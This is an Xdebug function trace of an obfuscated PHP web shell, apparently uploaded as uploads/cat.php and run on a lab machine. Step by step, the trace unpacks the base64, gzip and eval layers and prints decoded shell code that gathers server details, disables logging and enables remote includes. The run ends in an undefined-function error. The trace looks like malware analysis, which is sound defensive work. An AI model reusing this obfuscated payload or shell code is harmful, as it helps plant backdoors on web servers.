Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 00:09:15.325459]
1	0	1	0.000138	393512
1	3	0	0.000262	409224	{main}	1		/var/www/html/uploads/cat.php	0	0
2	4	0	0.000279	409224	base64_decode	0		/var/www/html/uploads/cat.php	10	1	'HZI5r6tWAIR7S/4P0Wvujd5FMTtWlIJ9NTa7obHYDAbMvp3z6+NkmimmGc18+Ro330s75eMrbl4w\r\n/y7g0qbdux/zafqe5vHVT008lfn0ncRTThGPLE+7LP8vmsfvX7k5ZL48jxhkvYdNq88zJ6pCdEqf\r\nWilIOmW+T4y4jrrYpptV8rphLK95sXVmVAEyn1MNbbB3RfPz1MnHQ/DI05yilqdsoYoCh+dO8yIY\r\nmlqsHKuuzPw6SLFi74SN8Kq0bYSDYFGpdaI1SVDG+mFGhxl2+p1PveOB9LdPe/6i4gJ/FS896pM4\r\nj7tni7mMSTHX4nzaVrOpy4G4C74GWiHVMbq9azeq9iqFm3H2nOGVHo5sdjzYjODB8nwZRRJhwRbX\r\nmu14A2kPcXlSzc682kaVBQzNN/fLZjcBVrnRJiiBpFSbTlScANloGpRhs67J8eDfLszKdIAaQmVn\r\nhzvqyUZ6I84tj5Q5Zdi5ABSdWTyTy+P1'
2	4	1	0.000310	410536
2	4	R			'\0359V\000{K\017kE1;V}56\f\006̾d)\031|\0327K;+n^0.Ҧݻ\037iOM<SN\021,O,/_9d<\030dM3\'BtJZ)H:eOئUa,yufT\0012S\rmwECӜl\002N"\030Z\034:Hbm`Qu5IPaF\031vOO{\002\025/=8gI1|Vˁ\v\006Z!1k7*q\036lv<،|\031E\022a\026ךx\003i\017qyRμF\005\f7f7\001V&(TNT\000h\032a.t\032Beg;Fz#-9eع\000\024Y<\035a$4m\aJ\016\ft鴢\006(8\036\017\016vq6'
2	5	0	0.000369	410504	gzinflate	0		/var/www/html/uploads/cat.php	10	1	'\0359V\000{K\017kE1;V}56\f\006̾d)\031|\0327K;+n^0.Ҧݻ\037iOM<SN\021,O,/_9d<\030dM3\'BtJZ)H:eOئUa,yufT\0012S\rmwECӜl\002N"\030Z\034:Hbm`Qu5IPaF\031vOO{\002\025/=8gI1|Vˁ\v\006Z!1k7*q\036lv<،|\031E\022a\026ךx\003i\017qyRμF\005\f7f7\001V&(TNT\000h\032a.t\032Beg;Fz#-9eع\000\024Y<\035a$4m\aJ\016\ft鴢\006(8\036\017\016vq6'
2	5	1	0.000434	411560
2	5	R			'eval(unserialize(gzuncompress(stripslashes(base64_decode(strtr("eNqdVGtr2zAU_R7If9BEIDZ0cfJhDFK6Nm08EvrKEncwQhCKLLuituRK8rIy-t9cJ1l2mj7CtsoG\r\nW_ece66ufGQ1HHzqfx7CEyqlkEjSQkjNeOqFaHRx4R-CIFww4S-2ZhJoEQsFzG2pqt1qtzoKXCcU\r\n5VwipsCMI3DCOEMp1V53C3T9Q8MrbgtkEt0wvNlkhq4XDVJynDcK27nXJP6kUjHBt3A9d3jKYrAd\r\nR8DUzh9MrE5-AywakJRSUq5Rqah0INoNORLjdW87ClXMwRlW2jTZwDHWFHjwK4jBDzAZsqHqwQOb\r\nVPM8v8oy6qYHxAqX1UGLcP49nC-he6LReDyHK8uUNBeavmZ25-HldRRWzO5qR_NWKF0v1L6uH3Ac\r\nS29PBR8c_ytxuFN7EkUzNLleRK4yyWOktDSWebHGxdl8OovQ'
2	6	0	0.000482	413064	eval	1	'eval(unserialize(gzuncompress(stripslashes(base64_decode(strtr("eNqdVGtr2zAU_R7If9BEIDZ0cfJhDFK6Nm08EvrKEncwQhCKLLuituRK8rIy-t9cJ1l2mj7CtsoG\r\nW_ece66ufGQ1HHzqfx7CEyqlkEjSQkjNeOqFaHRx4R-CIFww4S-2ZhJoEQsFzG2pqt1qtzoKXCcU\r\n5VwipsCMI3DCOEMp1V53C3T9Q8MrbgtkEt0wvNlkhq4XDVJynDcK27nXJP6kUjHBt3A9d3jKYrAd\r\nR8DUzh9MrE5-AywakJRSUq5Rqah0INoNORLjdW87ClXMwRlW2jTZwDHWFHjwK4jBDzAZsqHqwQOb\r\nVPM8v8oy6qYHxAqX1UGLcP49nC-he6LReDyHK8uUNBeavmZ25-HldRRWzO5qR_NWKF0v1L6uH3Ac\r\nS29PBR8c_ytxuFN7EkUzNLleRK4yyWOktDSWebHGxdl8OovQ1egy7K5AD8Bj6Hq6L6kymyzZy56-\r\n3YSLCN3Mp5WyvVjifXgymf-73TJFTpT5VprlFGUsZ9rr211t4jlOGUH3pdk3hWTJLe-JYf1pWB7M\r\nRIoqxyvzhV7Dz1TSghjS4BUJZ5nYmD4ylIiC8r9wGFwnWRnTN1kxTXCZaaQEuat7E6VuVvbYbgUB\r\nJFiDoJCCBKQoGU8ErPaoczG9Ol-YjcRS4gdnyyq0hLLPGYer2pzwVutiGASbzaaX4bWQWAvJzMIV\r\nlqJHRB7kxr6S4YwGVWYvZQnckVtjcgdXSzgykv9cJ2czR_vkTt8ld7pP7uxdcmf75Mbvkhs3cvZK\r\nSk60_YGRvPA6-FwwdNZ-u-WsDFgCTGzZjabVKTkyB2LdzHxQk-yQVJeSg76zDnh0jzq6K_HlmcIx\r\n-Dgwp3dgbQQP_1wwo-LHTw,,\r\n", \'-_,\', \'+/=\'))))));'	/var/www/html/uploads/cat.php	10	0
3	7	0	0.000517	413064	strtr	0		/var/www/html/uploads/cat.php(10) : eval()'d code	13	3	'eNqdVGtr2zAU_R7If9BEIDZ0cfJhDFK6Nm08EvrKEncwQhCKLLuituRK8rIy-t9cJ1l2mj7CtsoG\r\nW_ece66ufGQ1HHzqfx7CEyqlkEjSQkjNeOqFaHRx4R-CIFww4S-2ZhJoEQsFzG2pqt1qtzoKXCcU\r\n5VwipsCMI3DCOEMp1V53C3T9Q8MrbgtkEt0wvNlkhq4XDVJynDcK27nXJP6kUjHBt3A9d3jKYrAd\r\nR8DUzh9MrE5-AywakJRSUq5Rqah0INoNORLjdW87ClXMwRlW2jTZwDHWFHjwK4jBDzAZsqHqwQOb\r\nVPM8v8oy6qYHxAqX1UGLcP49nC-he6LReDyHK8uUNBeavmZ25-HldRRWzO5qR_NWKF0v1L6uH3Ac\r\nS29PBR8c_ytxuFN7EkUzNLleRK4yyWOktDSWebHGxdl8OovQ1egy7K5AD8Bj6Hq6L6kymyzZy56-\r\n3YSLCN3Mp5WyvVjifXgymf-73TJFTpT5'	'-_,'	'+/='
3	7	1	0.000545	414184
3	7	R			'eNqdVGtr2zAU/R7If9BEIDZ0cfJhDFK6Nm08EvrKEncwQhCKLLuituRK8rIy+t9cJ1l2mj7CtsoG\r\nW/ece66ufGQ1HHzqfx7CEyqlkEjSQkjNeOqFaHRx4R+CIFww4S+2ZhJoEQsFzG2pqt1qtzoKXCcU\r\n5VwipsCMI3DCOEMp1V53C3T9Q8MrbgtkEt0wvNlkhq4XDVJynDcK27nXJP6kUjHBt3A9d3jKYrAd\r\nR8DUzh9MrE5+AywakJRSUq5Rqah0INoNORLjdW87ClXMwRlW2jTZwDHWFHjwK4jBDzAZsqHqwQOb\r\nVPM8v8oy6qYHxAqX1UGLcP49nC+he6LReDyHK8uUNBeavmZ25+HldRRWzO5qR/NWKF0v1L6uH3Ac\r\nS29PBR8c/ytxuFN7EkUzNLleRK4yyWOktDSWebHGxdl8OovQ1egy7K5AD8Bj6Hq6L6kymyzZy56+\r\n3YSLCN3Mp5WyvVjifXgymf+73TJFTpT5'
3	8	0	0.000573	414088	base64_decode	0		/var/www/html/uploads/cat.php(10) : eval()'d code	13	1	'eNqdVGtr2zAU/R7If9BEIDZ0cfJhDFK6Nm08EvrKEncwQhCKLLuituRK8rIy+t9cJ1l2mj7CtsoG\r\nW/ece66ufGQ1HHzqfx7CEyqlkEjSQkjNeOqFaHRx4R+CIFww4S+2ZhJoEQsFzG2pqt1qtzoKXCcU\r\n5VwipsCMI3DCOEMp1V53C3T9Q8MrbgtkEt0wvNlkhq4XDVJynDcK27nXJP6kUjHBt3A9d3jKYrAd\r\nR8DUzh9MrE5+AywakJRSUq5Rqah0INoNORLjdW87ClXMwRlW2jTZwDHWFHjwK4jBDzAZsqHqwQOb\r\nVPM8v8oy6qYHxAqX1UGLcP49nC+he6LReDyHK8uUNBeavmZ25+HldRRWzO5qR/NWKF0v1L6uH3Ac\r\nS29PBR8c/ytxuFN7EkUzNLleRK4yyWOktDSWebHGxdl8OovQ1egy7K5AD8Bj6Hq6L6kymyzZy56+\r\n3YSLCN3Mp5WyvVjifXgymf+73TJFTpT5'
3	8	1	0.000605	415144
3	8	R			'xڝTkk0\024\036D 6tqa\fR6m<\022\022w0B\020,J2\\\'Yv>¶\006[{|d5\034|\036\023*HBHxhtq\037 \\0/f\022h\021\v\005mj:\n\\\'\024\\"#p8C)^w\vtC+n\vd\0220d\027\rRr7\n۹$R1p=wxb\035G\037LN~\003,\032RRQt \r9\022uo;\nU\031V41\024x+\0170\031\003T<2\a\nAp=/{x<+˔4\027fvu\024VjGV(]/Ծ\037p\034KoO\005\037\034+qS{\022E34^D2c4y|:2@\017cz/2,˞݄\b̧X}x22ENV\024e,g]m9N\031A'
3	9	0	0.000661	414088	stripslashes	0		/var/www/html/uploads/cat.php(10) : eval()'d code	13	1	'xڝTkk0\024\036D 6tqa\fR6m<\022\022w0B\020,J2\\\'Yv>¶\006[{|d5\034|\036\023*HBHxhtq\037 \\0/f\022h\021\v\005mj:\n\\\'\024\\"#p8C)^w\vtC+n\vd\0220d\027\rRr7\n۹$R1p=wxb\035G\037LN~\003,\032RRQt \r9\022uo;\nU\031V41\024x+\0170\031\003T<2\a\nAp=/{x<+˔4\027fvu\024VjGV(]/Ծ\037p\034KoO\005\037\034+qS{\022E34^D2c4y|:2@\017cz/2,˞݄\b̧X}x22ENV\024e,g]m9N\031A'
3	9	1	0.000712	414888
3	9	R			'xڝTkk0\024\036D 6tqa\fR6m<\022\022w0B\020,J2\'Yv>¶\006[{|d5\034|\036\023*HBHxhtq\037 \000/f\022h\021\v\005mj:\n\'\024"#p8C)^w\vtC+n\vd\0220d\027\rRr7\n۹$R1p=wxb\035G\037LN~\003,\032RRQt \r9\022uo;\nU\031V41\024x+\0170\031\003T<2\a\nAp=/{x<+˔4\027fvu\024VjGV(]/Ծ\037p\034KoO\005\037\034+qS{\022E34^D2c4y|:2@\017cz/2,˞݄\b̧X}x22ENV\024e,g]m9N\031A7'
3	10	0	0.000765	413832	gzuncompress	0		/var/www/html/uploads/cat.php(10) : eval()'d code	13	1	'xڝTkk0\024\036D 6tqa\fR6m<\022\022w0B\020,J2\'Yv>¶\006[{|d5\034|\036\023*HBHxhtq\037 \000/f\022h\021\v\005mj:\n\'\024"#p8C)^w\vtC+n\vd\0220d\027\rRr7\n۹$R1p=wxb\035G\037LN~\003,\032RRQt \r9\022uo;\nU\031V41\024x+\0170\031\003T<2\a\nAp=/{x<+˔4\027fvu\024VjGV(]/Ծ\037p\034KoO\005\037\034+qS{\022E34^D2c4y|:2@\017cz/2,˞݄\b̧X}x22ENV\024e,g]m9N\031A7'
3	10	1	0.000829	415656
3	10	R			's:1507:"@error_reporting(E_ALL); // Exibir todos os erros\r\n\r\n$safe_mode    = @ini_get(\'safe_mode\');\r\n$php_os       = @PHP_OS;\r\n$php_uname    = @php_uname();\r\n$phpversion   = @phpversion();\r\n$gid          = getmygid();\r\n$pid          = getmypid();\r\n$current_user = get_current_user();\r\n$inode        = getmyinode();\r\n$lastmod      = date ("F d Y H:i:s.", getlastmod());\r\n$server_ip    = $_SERVER["SERVER_ADDR"];\r\n$remote_ip    = $_SERVER[\'REMOTE_ADDR\'];\r\n$server_host  = gethostbyadd'
3	11	0	0.000864	414856	unserialize	0		/var/www/html/uploads/cat.php(10) : eval()'d code	13	1	's:1507:"@error_reporting(E_ALL); // Exibir todos os erros\r\n\r\n$safe_mode    = @ini_get(\'safe_mode\');\r\n$php_os       = @PHP_OS;\r\n$php_uname    = @php_uname();\r\n$phpversion   = @phpversion();\r\n$gid          = getmygid();\r\n$pid          = getmypid();\r\n$current_user = get_current_user();\r\n$inode        = getmyinode();\r\n$lastmod      = date ("F d Y H:i:s.", getlastmod());\r\n$server_ip    = $_SERVER["SERVER_ADDR"];\r\n$remote_ip    = $_SERVER[\'REMOTE_ADDR\'];\r\n$server_host  = gethostbyadd'
3	11	1	0.000895	416440
3	11	R			'@error_reporting(E_ALL); // Exibir todos os erros\r\n\r\n$safe_mode    = @ini_get(\'safe_mode\');\r\n$php_os       = @PHP_OS;\r\n$php_uname    = @php_uname();\r\n$phpversion   = @phpversion();\r\n$gid          = getmygid();\r\n$pid          = getmypid();\r\n$current_user = get_current_user();\r\n$inode        = getmyinode();\r\n$lastmod      = date ("F d Y H:i:s.", getlastmod());\r\n$server_ip    = $_SERVER["SERVER_ADDR"];\r\n$remote_ip    = $_SERVER[\'REMOTE_ADDR\'];\r\n$server_host  = gethostbyaddr($_SERV'
3	12	0	0.000997	429664	eval	1	'@error_reporting(E_ALL); // Exibir todos os erros\r\n\r\n$safe_mode    = @ini_get(\'safe_mode\');\r\n$php_os       = @PHP_OS;\r\n$php_uname    = @php_uname();\r\n$phpversion   = @phpversion();\r\n$gid          = getmygid();\r\n$pid          = getmypid();\r\n$current_user = get_current_user();\r\n$inode        = getmyinode();\r\n$lastmod      = date ("F d Y H:i:s.", getlastmod());\r\n$server_ip    = $_SERVER["SERVER_ADDR"];\r\n$remote_ip    = $_SERVER[\'REMOTE_ADDR\'];\r\n$server_host  = gethostbyaddr($_SERVER["SERVER_ADDR"]) ? gethostbyaddr($_SERVER["SERVER_ADDR"]) : $_SERVER[\'HTTP_HOST\'];\r\n$cmd_string   = $_SERVER[\'SCRIPT_NAME\'] . "?";\r\n$request_uri  = $_SERVER[\'REQUEST_URI\'];\r\n\r\n\r\nif(!$safe_mode){\r\n   @set_time_limit(0);\r\n   @set_magic_quotes_runtime(0);\r\n   @ini_set("log_errors", 0);\r\n   @ini_set("magic_quotes_gpc", 1);\r\n   @ini_set("allow_url_fopen", 1);\r\n   @ini_set("allow_url_include", 1);\r\n   @ini_set("default_socket_timeout", 0);\r\n}\r\n//"cat /proc/cpuinfo";\r\n\r\n$LINKS = array();\r\n$LINKS["r0nin"]     = "http://www.laboratoriopesaro.com/materiale/r0nin.gif";\r\n$LINKS["back"]["A"] = "http://www.laboratoriopesaro.com/materiale/backA.gif";\r\n$LINKS["back"]["B"] = "http://www.laboratoriopesaro.com/materiale/backB.gif";\r\n$LINKS["back"]["C"] = "http://www.laboratoriopesaro.com/materiale/backC.gif";\r\n$LINKS["back"]["D"] = "http://www.laboratoriopesaro.com/materiale/backD.gif";\r\n\r\n\r\nfunction cmp($a, $b)\r\n{\r\n    if ($a[\'TIME\'] == $b[\'TIME\']) {\r\n        return 0;\r\n    }\r\n    return ($a[\'TIME\'] > $b[\'TIME\']) ? -1 : 1;\r\n}'	/var/www/html/uploads/cat.php(10) : eval()'d code	13	0
4	13	0	0.001053	429664	error_reporting	0		/var/www/html/uploads/cat.php(10) : eval()'d code(13) : eval()'d code	1	1	32767
4	13	1	0.001069	429736
4	13	R			0
4	14	0	0.001082	429696	ini_get	0		/var/www/html/uploads/cat.php(10) : eval()'d code(13) : eval()'d code	3	1	'safe_mode'
4	14	1	0.001097	429728
4	14	R			FALSE
3		A						/var/www/html/uploads/cat.php(10) : eval()'d code(13) : eval()'d code	3	$safe_mode = FALSE
3		A						/var/www/html/uploads/cat.php(10) : eval()'d code(13) : eval()'d code	4	$php_os = 'Linux'
4	15	0	0.001136	429696	php_uname	0		/var/www/html/uploads/cat.php(10) : eval()'d code(13) : eval()'d code	5	0
4	15	1	0.001151	429808
4	15	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
3		A						/var/www/html/uploads/cat.php(10) : eval()'d code(13) : eval()'d code	5	$php_uname = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
4	16	0	0.001187	429808	phpversion	0		/var/www/html/uploads/cat.php(10) : eval()'d code(13) : eval()'d code	6	0
4	16	1	0.001200	429872
4	16	R			'7.2.34-37+ubuntu22.04.1+deb.sury.org+1'
3		A						/var/www/html/uploads/cat.php(10) : eval()'d code(13) : eval()'d code	6	$phpversion = '7.2.34-37+ubuntu22.04.1+deb.sury.org+1'
4	17	0	0.001230	429872	getmygid	0		/var/www/html/uploads/cat.php(10) : eval()'d code(13) : eval()'d code	7	0
4	17	1	0.001243	429872
4	17	R			1000
3		A						/var/www/html/uploads/cat.php(10) : eval()'d code(13) : eval()'d code	7	$gid = 1000
4	18	0	0.001267	429872	getmypid	0		/var/www/html/uploads/cat.php(10) : eval()'d code(13) : eval()'d code	8	0
4	18	1	0.001280	429872
4	18	R			348778
3		A						/var/www/html/uploads/cat.php(10) : eval()'d code(13) : eval()'d code	8	$pid = 348778
4	19	0	0.001304	429872	get_current_user	0		/var/www/html/uploads/cat.php(10) : eval()'d code(13) : eval()'d code	9	0
4	19	1	0.001339	429912
4	19	R			'osboxes'
3		A						/var/www/html/uploads/cat.php(10) : eval()'d code(13) : eval()'d code	9	$current_user = 'osboxes'
4	20	0	0.001365	429912	getmyinode	0		/var/www/html/uploads/cat.php(10) : eval()'d code(13) : eval()'d code	10	0
4	20	1	0.001377	429912
4	20	R			524480
3		A						/var/www/html/uploads/cat.php(10) : eval()'d code(13) : eval()'d code	10	$inode = 524480
4	21	0	0.001401	429912	getlastmod	0		/var/www/html/uploads/cat.php(10) : eval()'d code(13) : eval()'d code	11	0
4	21	1	0.001413	429912
4	21	R			1676254129
4	22	0	0.001426	429912	date	0		/var/www/html/uploads/cat.php(10) : eval()'d code(13) : eval()'d code	11	2	'F d Y H:i:s.'	1676254129
4	22	1	0.001482	432304
4	22	R			'February 12 2023 21:08:49.'
3		A						/var/www/html/uploads/cat.php(10) : eval()'d code(13) : eval()'d code	11	$lastmod = 'February 12 2023 21:08:49.'
3		A						/var/www/html/uploads/cat.php(10) : eval()'d code(13) : eval()'d code	12	$server_ip = '127.0.0.1'
3		A						/var/www/html/uploads/cat.php(10) : eval()'d code(13) : eval()'d code	13	$remote_ip = '127.0.0.1'
4	23	0	0.001537	432232	gethostbyaddr	0		/var/www/html/uploads/cat.php(10) : eval()'d code(13) : eval()'d code	14	1	'127.0.0.1'
4	23	1	0.001566	432312
4	23	R			'localhost'
4	24	0	0.001582	432232	gethostbyaddr	0		/var/www/html/uploads/cat.php(10) : eval()'d code(13) : eval()'d code	14	1	'127.0.0.1'
4	24	1	0.001606	432312
4	24	R			'localhost'
3		A						/var/www/html/uploads/cat.php(10) : eval()'d code(13) : eval()'d code	14	$server_host = 'localhost'
3		A						/var/www/html/uploads/cat.php(10) : eval()'d code(13) : eval()'d code	15	$cmd_string = '/uploads/cat.php?'
3		A						/var/www/html/uploads/cat.php(10) : eval()'d code(13) : eval()'d code	16	$request_uri = '/uploads/cat.php'
4	25	0	0.001657	432320	set_time_limit	0		/var/www/html/uploads/cat.php(10) : eval()'d code(13) : eval()'d code	20	1	0
4	25	1	0.001673	432384
4	25	R			FALSE
3	12	1	0.001692	433816
2	6	1	0.001700	421320
1	3	1	0.001707	417560
1	26	0	0.001714	417592	Error->__toString	0		Unknown	0	0
2	27	0	0.001727	417672	Error->getTraceAsString	0		Unknown	0	0
2	27	1	0.001739	417928
2	27	R			'#0 /var/www/html/uploads/cat.php(10) : eval()\'d code(13): eval()\n#1 /var/www/html/uploads/cat.php(10): eval()\n#2 {main}'
1	26	1	0.001760	422064
1	26	R			'Error: Call to undefined function set_magic_quotes_runtime() in /var/www/html/uploads/cat.php(10) : eval()\'d code(13) : eval()\'d code:21\nStack trace:\n#0 /var/www/html/uploads/cat.php(10) : eval()\'d code(13): eval()\n#1 /var/www/html/uploads/cat.php(10): eval()\n#2 {main}'
			0.001819	340664
TRACE END   [2023-02-13 00:09:15.327168]

